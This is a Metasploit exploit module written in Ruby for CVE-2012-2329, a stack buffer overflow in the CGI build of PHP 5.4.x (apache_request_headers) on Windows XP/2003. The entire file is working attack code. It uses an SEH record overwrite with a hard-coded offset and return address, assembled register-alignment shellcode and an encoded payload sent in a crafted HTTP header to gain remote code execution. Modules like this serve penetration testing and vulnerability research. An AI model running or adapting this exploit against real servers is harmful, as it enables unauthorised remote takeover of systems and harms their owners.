PHP 5.4.3 - apache_request_headers Function Buffer Overflow (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PHP apache_request_headers Function Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack based buffer overflow in the CGI version of PHP
				5.4.x before 5.4.3. The vulnerability is due to the insecure handling of the
				HTTP headers.

					This module has been tested against the thread safe version of PHP 5.4.2,
				from "windows.php.net", running with Apache 2.2.22 from "apachelounge.com".
			},
			'Author'         =>
				[
					'Vincent Danen', # Vulnerability discovery
					'juan vazquez', # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2012-2329'],
					[ 'OSVDB', '82215'],
					[ 'BID', '53455'],
					[ 'URL', 'http://www.php.net/archive/2012.php#id2012-05-08-1' ],
					[ 'URL', 'http://www.php.net/ChangeLog-5.php#5.4.3'],
					[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=820000' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'       => 1321,
					'DisableNops' => true,
					'BadChars'    => "\x00\x0d\x0a\x5f\x80\x8e\x9e\x9f" + (0x41..0x5a).to_a.pack("C*") + (0x82..0x8c).to_a.pack("C*") + (0x91..0x9c).to_a.pack("C*"),
					'EncoderType' => Msf::Encoder::Type::NonUpperUnderscoreSafe,
					'EncoderOptions' =>
						{
							'BufferOffset' => 0x0
						}
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows XP SP3 / Windows 2003 Server SP2 (No DEP) / PHP 5.4.2 Thread safe',
						{
							'Ret'    => 0x1002aa79, # ppr from php5ts.dll
							'Offset' => 1332
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'May 08 2012'))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The URI path to the php using apache_request_headers', '/php/test.php']),
			], self.class)

	end

	def exploit
		print_status("Trying target #{target.name}...")

		# Make ECX point to the start of the encoded payload
		align_ecx = "pop esi\n" # "\x5e"
		esi_alignment = target['Offset'] + # Space from the start of align_ecx to nseh handler
			8 + # len(nseh + seh)
			5 - # len(call back)
			11 # len(align_ecx)
		align_ecx << "add esi, -#{esi_alignment}\n" # "\x81\xC6" + 4 bytes imm (ex: "\xCA\xFA\xFF\xFF")
		align_ecx << "sub ecx, ecx\n" # "\x29\xC9"
		align_ecx << "add ecx, esi" # "\x01\xf1"
		sploit = Metasm::Shellcode.assemble(Metasm::Ia32.new, align_ecx).encode_string
		# Encoded payload
		sploit << payload.encoded
		# Padding if needed
		sploit << rand_text(target['Offset']-sploit.length)
		# SEH handler overwrite
		sploit << generate_seh_record(target.ret)
		# Call back "\xE8" + 4 bytes imm (ex: "\xBF\xFA\xFF\xFF")
		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['Offset']+8}").encode_string
		# Make it crash
		sploit << rand_text(4096 - sploit.length)

		print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")

		res = send_request_cgi({
			'uri'          => target_uri.to_s,
			'method'       => 'GET',
			'headers'      =>
			{
				"HTTP_X_#{rand_text_alpha_lower(4)}" => sploit,
			}
		})

		if res and res.code == 500
			print_status "We got a 500 error code. Even without a session it could be an exploitation signal!"
		end

		handler
	end
end